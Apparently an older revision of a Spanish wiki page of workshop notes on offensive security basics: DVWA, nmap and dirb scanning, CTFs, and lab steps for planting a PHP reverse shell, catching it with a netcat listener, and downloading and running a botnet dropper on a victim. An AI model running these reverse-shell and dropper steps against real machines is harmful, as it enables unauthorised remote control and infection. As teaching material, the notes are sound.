¡Esta es una revisión vieja del documento!
Tabla de Contenidos
burpsuite
Aplicación web para probar vulnerabilidades típicas:
Pruebas hechas en el taller con DVWA:
- SQL injection
- File inclusion
- XSS (Cross-Site scripting)
- reflejado (se ejecuta en la parte de cliente)
- Almacenado (el código malicioso queda en el servidor)
UPDATE wp_options SET option_value = REPLACE (option_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net'); UPDATE wp_posts SET guid = REPLACE (guid, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net'); UPDATE wp_posts SET post_content = REPLACE (post_content, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net'); UPDATE wp_postmeta SET meta_value = REPLACE (meta_value, 'satproduccion.mundo-r.com', 'satproduccion.ddns.net');
IoT
- Dispositivos diversos que no tienen por qué tener integración de redes o capacidad computacional, pero que adicionalmente la integran (dispositivos bluetooth, bombillas, termostatos)
Mecanismos de defensa:
- Firewall: sistemas de restricción de tráfico basado en reglas.
- Sistemas IDS/IPS: sistemsa de monitorización, detección y/o prevención de accesos no permitidos en una red.
- Honeypot: equipos aparentemente vulnerables diseñados para atraer y detectar a los atacantes, protegiendo los sistemas realmente críticos.
- SIEM: sistemas de correlación de eventos y generación de alertas de seguridad.
- Antimalware: sistemas de detección de malware informático.
Tipos de redes según tamaño
- LAN
- MAN: como en las universidades
- WAN: Internet
Otra tipología de redes
- Públicas
- Privadas
TCP 3-way handshake
Forma de establecer la comunicación en TCP.
- Cliente envía SYN
- Servidor responde con SYN+ACK
- Cliente envía ACK
Si un puerto está abierto:
- SYN
- SYN/ACK
- RST/ACK
Si está cerrado
- SYN
- RST
Si está filtrado:
Fases de un ciberataque
- Reconocimiento
- Sorteo de obstáculos
- Control del dispositivo
- Avance horizontal:
- Cumplimiento del objetivo
- Post-explotación y ataque
Ciclo de vida de un ataque:
- Identificacion del objetivo
- Análisis de puertos y servicios
- Análisis de vulnerabilidades
- Explotación
- Post-explotación
Reconocimiento
- Documentación del fabricante
- Foros de usuarios
- Buscador centrado en IoT: https://www.shodan.io (es de pago)
Ejemplo acceder a máquina Linux vía SSH
- Puerto 22
- Si el servicio está activo podremos detectarlo utilizando
nmap - Invocamos SSH:
ssh usuario@ip-maquina
Bases de datos vulnerabilidades
Son bases de datos públicas:
- Common Vulnerabilities and Exposures (CVE): https://cve.mitre.org/
- National Vulnerability Database (NVD): https://nvd.nist.gov/
Capture the flag
CTF (capturar la bandera) son un tipo de competiciones de seguridad informática que generalmente se realizan de forma online, orientadas tanto para aprendices como para expertos en seguridad. El objetivo final es vulnerar el sistema normalmente capturando una flag o bandera que suele consistir en obtener un hash dentro de un fichero de texto: flag{asdfy788a6fa54s67dfasdf45656}
Finalidad:
- Trabajar en equipo
- Ganar habilidades
- Reconocimiento
- Dinero
- Diversión
Categorías y habilidades de un CTF:
- Análisis forense (forensics): análisis de capturas de red, discos duros o imágenes.
- Criptografía (crypto): textos cifrados.
- Esteganorgrafía (STEGo): ocultar información en el interior de imágenes, sonidos o vídeos.
- Explotación: escaneo y enumeración de vulnerabilidades en un sistema
- Ingeniería inversa (reversing): análisis del funcionamiento de binarios de Windows y Linux.
- Programación (PPC): conocido como Professional Programming and Coding. Desarrollo de un programa o script que realice una determinada tarea.
- Web: escaneo y enumeración de vulnerabilidades de una aplicación web.
- Reconocimiento (recon): búsqueda de la bandera en distintos sitios de Internet.
- Trivial (trivia): preguntas relacionadas con la seguridad informática.
- Misceláneo (misc): retos pertenecientes a diferentes categorías.
Entrenamientos:
- Víctor García: canal de YouTube resolviendo Hack the Box y TryHackMe
Herramientas y técnicas
- Reconocimiento de la red mediante ifconfig y Nmap
- Escaneo de puertos mediante Nmap
- Enumeración manual y automatizada de directorios/ficheros
- Revisión de código fuente de páginas web mediante curl
- Definiciación y configuración de payloads
- Listeners
- Obtención de una reverse shell
- Uso de grep y find para búsquedas de ficheros/directorios
Reconocimiento de la red
Averiguamos la información de la red a la que estamos conectados:
ifconfig
Si no está disponble ese comando, entonces se puede usar:
ip a
Hacemos un escaneo rápido de la red:
nmap -sn 192.168.0.0/24
Con un objetivo, hacemos un escaneo de puertos para obtener más información sobre posibles servicios que haya tras ellos:
nmap -sV 192.168.0.70
Escaneo de puertos
- Escaneo de puertos básico:
nmap -v <IP> - Escaneo de un rango de IPs:
nmap <IP1>-<IP2> - Escanear rango de puertos:
nmap -p numeropuerto¡nmap -p puertoinicio-puertofin
- Escanear todos los puertos:
nmap -p -localhost nmap -sS <IP>nmap -sT <IP>- Obtener el sistema operativo:
nmap -O <IP> nmap -A <IP>nmap -sV <IP>nmap ip/máscara
Enumeración de directorios y ficheros mediante DIRB
DIRB es una aplicación creada para realizar fuerza bruta contra directorios y archivos localizados en un servidor web/aplicación. Se puede seleccionar un diccionario de nombres de directorios comunes para la búsqueda de archivos y directorios existentes u ocultos
dirb <url> [<ruta_diccionario>]
En Kali viene por defecto un diccionario de directorios comunes: /usr/share/worldlists/dirb/common.txt:
dirb http://192.168.0.70 /usr/share/worldlists/dirb/common.txt
En ese momento, dirb usará las palabras en el diccionario para intentar encontrar algún directorio accesible de la web que le pasamos.
Una alternativa a esta herramienta es Gobuster.
Enumeración manual de ficheros
Sitemap.xml: fichero que proporciona información sobre páginas, vídeos y otros archivos de un sitio web.robots.txt: proporciona información a los rastreadores y buscadores sobre las páginas y los archivos que se pueden solicitar o no de su sitio web
Revisión de código fuente de páginas web mediante curl
Además de ver el código fuente desde el propio navegador, se puede usar la herramienta de línea de comandos curl:
curl http://192.168.0.70
Descarga del contenido en un fichero:
curl -O fichero.html http://192.168.0.70/index.html
Definición y configuración de payloads
Un payload es un código malicioso que ha sido introducido en un programa o fichero legítimo para que cuando un usuario lo ejecute, se pueda obtener el control de la máquina. Para ello, será necesario subir un payload a la máquina objetivo o atacada, y quedarse escuchando en el puerto asociado al payload desde la máquina atacante.
Kali contiene una lista de payloads disponibles por defecto: /usr/share/webshells.
En la práctica configuramos /usr/share/webshells/php/php-reverse-shell.php y lo subimos al servidor víctima (ver obtención de shell reverse).
En los payloads normalmente hay que configurar la dirección IP de la máquina atacante y un puerto TCP de ella.
Definición y uso de listeners
Un listener es un proceso el cual está a la escucha o espera de una conexión desde la máquina que estamos atacando.
nc -nlvp 4444
n:l: modo escuchav: modo verbosep: puerto por el que se va a escuchar el listener
Obtención de una reverse shell
Un shell es el término que se le da a la obtención de una consola (Linux o Windows) en un ordenador remoto. Es uno de los principales objetivos para un atancante. El atancante obtiene una conexión directa al entorno de red.
Reverse shell: mientras que un firewall no permite conexiones entrantes no autorizadas, normalmente la red interna es clasificada como confiable y esto significa que permite las conexiones desde dentro hacia afuera de una manera menos estricta o más permisiva con este tipo de conexiones. La posibilidad de subir un payload a la máquina atacada puede otorgarnos una shell reversa.
En el momento en que ejecutemos (accediendo al payload a través del navegador web a la dirección de la víctima) el payload en la máquina víctima con el payload de shell inversa, en netcat veremos que estamos dentro del servidor víctima.
Es decir, para ejecutar la shell inversa, tendríamos que acceder a http://192.168.0.70/uploaded_files/php-reverse-shell.php, donde 192.168.0.70 es la IP víctima y php-reverse-shell.php es un fichero que hemos subido que nos creará una shell inversa.
Uso de grep y find para búsquedas de ficheros/directorios
grep -ir prueba / -- exclude-dir=/etc
e: patrónr: leer todos losi: ignorar mayúsculas y minúsculas
Se busca prueba en todos los ficheros del sistema, excluyendo los que están dentro del directorio /etc
find es un comando utilizado en sistemas Unix para encontrar y filtrar archivos en Linux:
find <directorio> <optiocnes> <terminos busqueda>
Mi ordenador es un zombie
Filtraciones de contraseñas:
Avisos de vulnerabilidades de 0-day:
- https://zerodium.com/: intermediario que paga recompensas por encontrar vulnerabilidades de 0-day.
Ciclo de vida de una botnet
Ejemplo botnet
python3 client.py --name mibot.py <IP_ATACANTE> <PUERTO_ESCUCHA>
Se generarán varios ficheros, pero el que más nos interesa es modules/clientes/droppers/mibot.py. Este fichero es el que hay que distribuir a las víctimas para que lo ejecutase.
Servidor web básico en Python:
python3 -m http.server 8080
Como estamos de prueba, en la víctima nos descargamos el fichero malicioso:
curl http://192.168.0.20:8080/mibot.py -o mibot.py
Lanzamos el servidor que va a escuchar a la víctima:
python3 server.py --port <PUERTO_ESCUCHA>
